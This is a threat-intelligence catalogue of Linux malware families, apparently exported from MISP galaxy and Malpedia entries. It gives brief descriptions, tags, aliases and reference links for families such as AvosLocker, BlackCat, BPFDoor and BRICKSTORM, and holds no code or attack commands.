According to Unit 42, Auto-Color was discovered in November 2024 named based on the file name of the initial payload. It hides its C2 communication similarly to Symbiote, including the use of proprietary encryption algorithms.

The tag is: *misp-galaxy:malpedia="Auto-Color"*

Auto-Color is also known as:

Table 2387. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.auto_color
https://zw01f.github.io/malware%20analysis/auto-color/

AvosLocker

AvosLocker is a ransomware-as-a-service (RaaS) gang that first appeared in mid-2021. It has since become notorious for its attacks targeting critical infrastructure in the United States, including the sectors of financial services, critical manufacturing, and government facilities.

In March 2022, the FBI and US Treasury Department issued a warning about the attacks.

The tag is: *misp-galaxy:malpedia="AvosLocker"*

AvosLocker is also known as:

Table 2388. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker
https://cdn.pathfactory.com/assets/10555/contents/400686/13f4424c-05b4-46db-bb9c-6bf9b5436ec4.pdf
https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://unit42.paloaltonetworks.com/emerging-ransomware-groups/
https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html
https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen
https://blog.malwarebytes.com/threat-analysis/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners/
https://news.sophos.com/en-us/2021/12/22/avos-locker-remotely-accesses-boxes-even-running-in-safe-mode/

https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker
https://www.ic3.gov/Media/News/2022/220318.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/

AVrecon

AVrecon is a Linux-based Remote Access Trojan (RAT) targeting small-office/home-office (SOHO) routers and other ARM-embedded devices. The malware is distributed via exploitation of unpatched vulnerabilities or common misconfiguration of the targeted devices. Once deployed, AVreckon will collect some information about the infected device, open a session to pre-configured C&C server, and spawn a remote shell for command execution. It might also download additional arbitrary files and run them. The malware has recently been used in campaigns aimed at ad-fraud activities, password spraying and data exfiltration.

The tag is: *misp-galaxy:malpedia="AVrecon"*

AVrecon is also known as:

Table 2389. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.avrecon
https://krebsonsecurity.com/2023/07/who-and-what-is-behind-the-malware-proxy-service-socksescort/
https://spur.us/2023/07/christmas-in-july-a-finely-wrapped-proxy-service/
https://blog.lumen.com/routers-from-the-underground-exposing-avrecon/
https://twitter.com/BlackLotusLabs/status/1684290046235484160

azazel

Azazel is a Linux user-mode rootkit based off of a technique from the Jynx rootkit (LD_PRELOAD technique). Azazel is purportedly more robust than Jynx and has many more anti-analysis features

The tag is: *misp-galaxy:malpedia="azazel"*

azazel is also known as:

Table 2390. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.azazel
https://github.com/chokepoint/azazel

B1txor20

B1txor20 is a malware that was discovered by 360 Netlab along others exploiting Log4J. the name is derived from using the file name "b1t", the XOR encrpytion algorithm, and the RC4 algorithm key length of 20 bytes. According to 360 Netlab this Backdoor for Linux platform uses DNS Tunnel to build a C2 communication channel. They also had the assumption that the malware is still in development, because of some bugs and not fully implemented features.

The tag is: *misp-galaxy:malpedia="B1txor20"*

B1txor20 is also known as:

Table 2391. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.b1txor20
https://blog.netlab.360.com/b1txor20-use-of-dns-tunneling_cn/

Babuk (ELF)

ESX and NAS modules for Babuk ransomware.

The tag is: *misp-galaxy:malpedia="Babuk (ELF)"*

Babuk (ELF) is also known as:

Table 2392. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk
https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://securelist.com/cyber-anarchy-squad-attacks-with-uncommon-trojans/114990/
https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/

https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings
https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://marcoramilli.com/2021/07/05/babuk-ransomware-the-builder/
https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751
https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2
https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/

Backdoorit

According to Avast Decoded, Backdoorit is a multiplatform RAT written in Go programming language and supporting both Windows and Linux/Unix operating systems. In many places in the code it is also referred to as backd00rit.

The tag is: *misp-galaxy:malpedia="Backdoorit"*

Backdoorit is also known as:

- backd00rit

Table 2393. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.backdoorit
https://decoded.avast.io/davidalvarez/go-malware-on-the-rise/

Irc16

The tag is: *misp-galaxy:malpedia="Irc16"*

Irc16 is also known as:

Table 2394. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.backdoor_irc16

https://news.drweb.com/show/?c=5&i=10193&lng=en

BADCALL (ELF)

BADCALL is a Trojan malware variant used by the group Lazarus Group.

The tag is: *misp-galaxy:malpedia="BADCALL (ELF)"*

BADCALL (ELF) is also known as:

Table 2395. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.badcall
https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack

Ballista

Ballista is an IoT botnet, infecting unpatched TP-Link Archer AX21 (AX1800) routers. It spreads through automatic exploitation of CVE-2023-1389. Its capabilities include remote code execution and DDoS attacks.

The tag is: *misp-galaxy:malpedia="Ballista"*

Ballista is also known as:

Table 2396. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ballista
https://www.catonetworks.com/blog/cato-ctrl-ballista-new-iot-botnet-targeting-thousands-of-tp-link-archer-routers/

Bashlite

Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.

The tag is: *misp-galaxy:malpedia="Bashlite"*

Bashlite is also known as:

- Gafgyt
- gayfgt

- lizkebab
- qbot
- torlus

Table 2397. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite
https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/
https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/
https://cybersecurity.att.com/blogs/labs-research/code-similarity-analysis-with-r2diaphora
https://www.avira.com/en/blog/a-gafgyt-variant-that-exploits-pulse-secure-cve-2020-8218
https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt
https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/
https://vb2020.vblocalhost.com/uploads/VB2020-Liu.pdf
https://blog.cyber5w.com/gafgyt-backdoor-analysis
https://unit42.paloaltonetworks.com/new-hoaxcalls-ddos-botnet/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf
https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/
https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/
https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/
https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/
https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/
https://www.nozominetworks.com/blog/could-threat-actors-be-downgrading-their-malware-to-evade-detection/
http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/
https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/
https://securityscorecard.com/wp-content/uploads/2024/01/Report-A-Detailed-Analysis-Of-The-Gafgyt-Malware-Targeting-IoT-Devices.pdf
https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group
https://unit42.paloaltonetworks.com/cve-2022-22954-vmware-vulnerabilities/

https://www.aquasec.com/blog/gafgyt-malware-variant-exploits-gpu-power-and-cloud-native-environments/
https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/

BCMPUPnP_Hunter

The tag is: *misp-galaxy:malpedia="BCMPUPnP_Hunter"*

BCMPUPnP_Hunter is also known as:

Table 2398. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bcmpupnp_hunter
https://blog.netlab.360.com/bcmpupnp_hunter-a-100k-botnet-turns-home-routers-to-email-spammers-en/

BianLian (ELF)

The tag is: *misp-galaxy:malpedia="BianLian (ELF)"*

BianLian (ELF) is also known as:

Table 2399. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bianlian
https://rhisac.org/threat-intelligence/bianlian-ransomware-expanding-c2-infrastructure-and-operational-tempo/
https://www.youtube.com/live/O2Wx7mQHR2I?si=uydJupvHK6sxxw3n
https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/
https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/

BiBi-Linux

According to Security Joes, this malware is an x64 ELF executable, lacking obfuscation or protective measures. It allows attackers to specify target folders and can potentially destroy an entire operating system if run with root permissions. During execution, it produces extensive output, which can be mitigated using the "nohup" command. It also leverages multiple threads and a queue to corrupt files concurrently, enhancing its speed and reach. Its actions include overwriting files, renaming them with a random string containing "BiBi," and excluding certain file types from corruption.

The tag is: *misp-galaxy:malpedia="BiBi-Linux"*

BiBi-Linux is also known as:

Table 2400. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bibi_linux
https://www.securityjoes.com/post/mission-data-destruction-a-large-scale-data-wiping-campaign-targeting-israel
https://www.securityjoes.com/post/bibi-linux-a-new-wiper-dropped-by-pro-hamas-hacktivist-group
https://research.checkpoint.com/2024/bad-karma-no-justice-void-manticore-destructive-activities-in-israel

Bifrost

Linux version of the bifrose malware that originally targeted Windows platform only. The backdoor has the ability to perform file management, start or end a process, or start a remote shell. The connection is encrypted using a modified RC4 algorithm.

The tag is: *misp-galaxy:malpedia="Bifrost"*

Bifrost is also known as:

- elf.bifrose

Table 2401. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bifrost
https://teamt5.org/tw/posts/technical-analysis-on-backdoor-bifrost-of-the-Chinese-apt-group-huapi/
https://twitter.com/strinsert1Na/status/1595553530579890176
https://cyberandramen.net/2022/12/30/a-quick-look-at-elf-bifrose/
https://jp.security.ntt/resources/EN-BlackTech_2021.pdf

BigViktor

A DDoS bot abusing CVE-2020-8515 to target DrayTek Vigor routers. It uses a wordlist-based DGA to generate its C&C domains.

The tag is: *misp-galaxy:malpedia="BigViktor"*

BigViktor is also known as:

Table 2402. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bigviktor

https://blog.netlab.360.com/bigviktor-dga-botnet/

BioSet

The tag is: *misp-galaxy:malpedia="BioSet"*

BioSet is also known as:

Table 2403. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bioset
https://twitter.com/IntezerLabs/status/1409844721992749059

Black Basta (ELF)

ESXi encrypting ransomware, using a combination of the stream cipher ChaCha20 and RSA.

The tag is: *misp-galaxy:malpedia="Black Basta (ELF)"*

Black Basta (ELF) is also known as:

Table 2404. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackbasta
https://www.microsoft.com/en-us/security/blog/2024/07/29/ransomware-operators-exploit-esxi-hypervisor-vulnerability-for-mass-encryption/
https://cyber.levelblue.com/m/356d41d295da03cc/original/WP-LevelBlue-MDRs-Guide-Against-Black-Basta.docx
https://expel.com/blog/code-signing-certificate-abuse-in-the-black-basta-chat-leaks-and-how-to-fight-back/
https://www.youtube.com/watch?v=bJILHYLX4C4
https://intel471.com/blog/an-in-depth-look-at-black-bastas-ttps
https://www.trendmicro.com/en_us/research/25/b/black-basta-cactus-ransomware-backconnect.html
https://flare.io/learn/resources/blog/deciphering-black-bastas-infrastructure-from-the-chat-le
https://www.youtube.com/watch?v=cH7BYWbtsfI
https://www.trustwave.com/hubfs/Web/Library/Documents_pdf/A_Deep_Dive_into_the_Leaked_Black_Basta_Chat_Logs.pdf
https://stairwell.com/resources/stairwell-threat-report-black-basta-overview-and-detection-rules/
https://medium.com/@a-poc/black-basta-leak-analysis-add723b179a5
https://services.google.com/fh/files/misc/m-trends-2025-en.pdf

https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://www.cloudflare.com/threat-intelligence/research/report/black-bastas-blunder-exploiting-the-gangs-leaked-chats/
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/pdf/2022-year-in-retrospect-report.pdf
https://quadrantsec.com/resource/technical-analysis/black-basta-malware-overview
https://intel471.com/blog/black-basta-exposed-a-look-at-a-cybercrime-data-leak
https://analyst1.com/wp-content/uploads/2025/04/Anastasia-Inside-BlackBasta.pdf
https://www.linkedin.com/pulse/attackers-leveraging-microsoft-teams-defaults-quick-assist-p1u5c
https://www.trellix.com/blogs/research/analysis-of-black-basta-ransomware-chat-leaks/
https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf
https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/
https://www.esentire.com/blog/initial-takeaways-from-the-black-basta-chat-leaks
https://www.rapid7.com/blog/post/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators/
http://ropgadget.com/posts/blackbasta_leaks.html
https://www.ontinue.com/resource/inside-black-basta-leaked-coversations/
https://spycloud.com/blog/digesting-messages-from-the-black-basta-chats/
https://www.lemagit.fr/actualites/366619807/Ransomware-de-REvil-a-Black-Basta-que-sait-on-de-Tramp
https://medium.com/walmartglobaltech/agent-ai-basta-parser-extraordinaire-24edfc59992a
https://www.crowdstrike.com/adversaries/wandering-spider/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-131a

BlackCat (ELF)

ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.

ALPHV can be configured to encrypt files using either the AES or ChaCha20 algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec

to remote execute itself on other hosts on the local network.

The tag is: *misp-galaxy:malpedia="BlackCat (ELF)"*

BlackCat (ELF) is also known as:

- ALPHV
- Noberus

Table 2405. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackcat
https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/
https://www.intrinsec.com/alphv-ransomware-gang-analysis/
https://blog.emsisoft.com/en/40931/ransomware-profile-alphv/
https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments
https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/
https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/
https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html
https://www.computerweekly.com/news/252525240/ALPHV-BlackCat-ransomware-family-becoming-more-dangerous
https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/
https://mssplab.github.io/threat-hunting/2023/07/13/malware-analysis-blackcat.html
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://github.com/rivitna/Malware/tree/main/BlackCat/ALPHV3
https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive
https://twitter.com/sisoma2/status/1473243875158499330
https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/
https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider.pdf
https://killingthebear.jorgetesta.tech/actors/alphv
https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/
https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf
https://breached.company/when-the-defenders-become-the-attackers-cybersecurity-experts-indicted-for-blackcat-ransomware-operations/

https://securelist.com/a-bad-luck-blackcat/106254/
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://www.forescout.com/resources/analysis-of-an-alphv-incident
https://securelist.com/new-ransomware-trends-in-2022/106457/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html
https://x.com/vxunderground/status/1731138180672344095?t=reBMQQFFMGQ_zkV8KmL_LA&s=01
https://securityintelligence.com/posts/blackcat-ransomware-levels-up-stealth-speed-exfiltration/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html
https://www.crowdstrike.com/blog/hypervisor-jackpotting-lack-of-antivirus-support-opens-the-door-to-adversaries/
https://blog.group-ib.com/blackcat
https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/

BlackMatter (ELF)

The tag is: *misp-galaxy:malpedia="BlackMatter (ELF)"*

BlackMatter (ELF) is also known as:

Table 2406. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackmatter
https://twitter.com/VK_Intel/status/1423188690126266370
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group
https://www.mandiant.com/resources/chasing-avaddon-ransomware
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor
https://blog.group-ib.com/blackmatter2
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/

https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf
https://www.bleepingcomputer.com/news/security/linux-version-of-blackmatter-ransomware-targets-vmware-esxi-servers/
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://us-cert.cisa.gov/ncas/alerts/aa21-291a
https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://twitter.com/GelosSnake/status/1451465959894667275
https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d
https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751
https://www.youtube.com/watch?v=NIiEcOryLpI
https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/
https://blog.group-ib.com/blackmatter#
https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/
https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html
https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/
https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2

Blackrota

The tag is: *misp-galaxy:malpedia="Blackrota"*

Blackrota is also known as:

Table 2407. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackrota
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.kryptoslogic.com/blog/2020/12/automated-string-de-gobfuscation/
https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go-en/

BlackSuit (ELF)

According to Trend Micro, this ransomware has significant code overlap with Royal Ransomware.

The tag is: *misp-galaxy:malpedia="BlackSuit (ELF)"*

BlackSuit (ELF) is also known as:

Table 2408. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.blacksuit
https://www.trendmicro.com/en_us/research/23/e/investigating-blacksuit-ransomwares-similarities-to-royal.html
https://redsense.com/publications/royal-blacksuit-how-ransomware-rebrand-reshaped-them/
https://blog.cyble.com/2023/05/12/blacksuit-ransomware-strikes-windows-and-linux-users/
https://www.bleepingcomputer.com/news/security/law-enforcement-seizes-blacksuit-ransomware-leak-sites/

BOLDMOVE (ELF)

According to Mandiant, this malware family is attributed to potential chinese background and directly related to observed exploitation of Fortinet's SSL-VPN (CVE-2022-42475). There is also a Windows variant.

The tag is: *misp-galaxy:malpedia="BOLDMOVE (ELF)"*

BOLDMOVE (ELF) is also known as:

Table 2409. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.boldmove
https://www.mandiant.com/resources/blog/chinese-actors-exploit-fortios-flaw
https://thehackernews.com/2023/01/new-chinese-malware-spotted-exploiting.html
https://services.google.com/fh/files/misc/01-chinese-espionage-article-m-trends-2024.pdf
https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf

Bootkitty

The tag is: *misp-galaxy:malpedia="Bootkitty"*

Bootkitty is also known as:

Table 2410. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bootkitty
https://www.welivesecurity.com/en/eset-research/bootkitty-analyzing-first-uefi-bootkit-linux/

Break out the Box

This is a pentesting tool and according to the author, "BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies.".

It has been observed being used by TeamTNT in their activities for spreading crypto-mining malware.

The tag is: *misp-galaxy:malpedia="Break out the Box"*

Break out the Box is also known as:

- BOtB

Table 2411. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.botb
https://github.com/brompwnie/botb

BotenaGo

According to Alien Labs, this malware targets embedded devices including routers with more than 30 exploits. SourceCode: https://github.com/Egida/kek/blob/19991ef983f838287aa9362b78b4ed8da0929184/loader_multi.go (2021-10-16)

The tag is: *misp-galaxy:malpedia="BotenaGo"*

BotenaGo is also known as:

Table 2412. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.botenago
https://lifars.com/2022/01/newly-found-malware-threatens-iot-devices/

https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits
https://www.nozominetworks.com/blog/new-botenago-variant-discovered-by-nozomi-networks-labs/
https://cybersecurity.att.com/blogs/labs-research/botenago-strike-again-malware-source-code-uploaded-to-github
https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux

BPFDoor

BPFDoor is a passive backdoor used by a China-based threat actor. This backdoor supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP allowing the threat actor a variety of mechanisms to interact with the implant.

The tag is: *misp-galaxy:malpedia="BPFDoor"*

BPFDoor is also known as:

- JustForFun

Table 2413. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bpfdoor
https://blog.qualys.com/vulnerabilities-threat-research/2022/08/01/heres-a-simple-script-to-detect-the-stealthy-nation-state-bpfdoor
https://en.yna.co.kr/view/AEN20250526002700320
https://twitter.com/CraigHRowland/status/1523266585133457408
https://twitter.com/cyb3rops/status/1523227511551033349
https://lolcads.github.io/posts/2023/12/bpf_memory_forensics_with_volatility3/
https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/
https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/
https://www.mandiant.com/resources/blog/chinese-espionage-tactics
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896
https://troopers.de/troopers22/talks/7cv8pz/
https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game
https://haxrob.net/bpfdoor-past-and-present-part-2/

https://www.trendmicro.com/en_us/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html
https://www.bleepingcomputer.com/news/security/stealthier-version-of-linux-bpfdoor-malware-spotted-in-the-wild/
https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
https://haxrob.net/bpfdoor-past-and-present-part-1/
<a href="https://elastic.github.io/security-research/intelligence/2022/05/04.bpfdoor/article/<mark>">https://elastic.github.io/security-research/intelligence/2022/05/04.bpfdoor/article/</mark>
https://nikhilh-20.github.io/blog/cbpf_bpfdoor/
https://exatrack.com/public/Tricephalic_Hellkeeper.pdf
https://unfinished.bike/fun-with-the-new-bpfdoor-2023
https://www.trendmicro.com/en_us/research/25/d/bpfdoor-hidden-controller.html

BQTlock (ELF)

The tag is: *misp-galaxy:malpedia="BQTlock (ELF)"*

BQTlock (ELF) is also known as:

Table 2414. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bqtlock
https://x.com/nextronresearch/status/1985729005777989655

BRICKSTORM

According to Google, BRICKSTORM is used to consistently target appliances, among them primarily VMware vCenter and ESXi hosts.

The tag is: *misp-galaxy:malpedia="BRICKSTORM"*

BRICKSTORM is also known as:

Table 2415. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.brickstorm
https://www.cisa.gov/news-events/analysis-reports/ar25-338a
https://www.crowdstrike.com/en-us/blog/warp-panda-cloud-threats/
https://blog.nviso.eu/wp-content/uploads/2025/04/NVISO-BRICKSTORM-Report.pdf
https://cloud.google.com/blog/topics/threat-intelligence/brickstorm-espionage-campaign

brute_ratel

The tag is: *misp-galaxy:malpedia="brute_ratel"*

brute_ratel is also known as:

Table 2416. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.brute_ratel
https://bruteratel.com/

BUSHWALK

According to Mandiant, this is a webshell, written in Perl.

The tag is: *misp-galaxy:malpedia="BUSHWALK"*

BUSHWALK is also known as:

Table 2417. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bushwalk
https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-exploitation-persistence/

Bvp47

Pangu Lab discovered this backdoor during a forensic investigation in 2013. They refer to related incidents as "Operation Telescreen".

The tag is: *misp-galaxy:malpedia="Bvp47"*

Bvp47 is also known as:

Table 2418. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bvp47
https://thehackernews.com/2022/02/chinese-experts-uncover-details-of.html
https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group.en.pdf
https://exatrack.com/public/Tricephalic_Hellkeeper.pdf
https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group/
https://www.bleepingcomputer.com/news/security/nsa-linked-bvp47-linux-backdoor-widely-undetected-for-10-years/

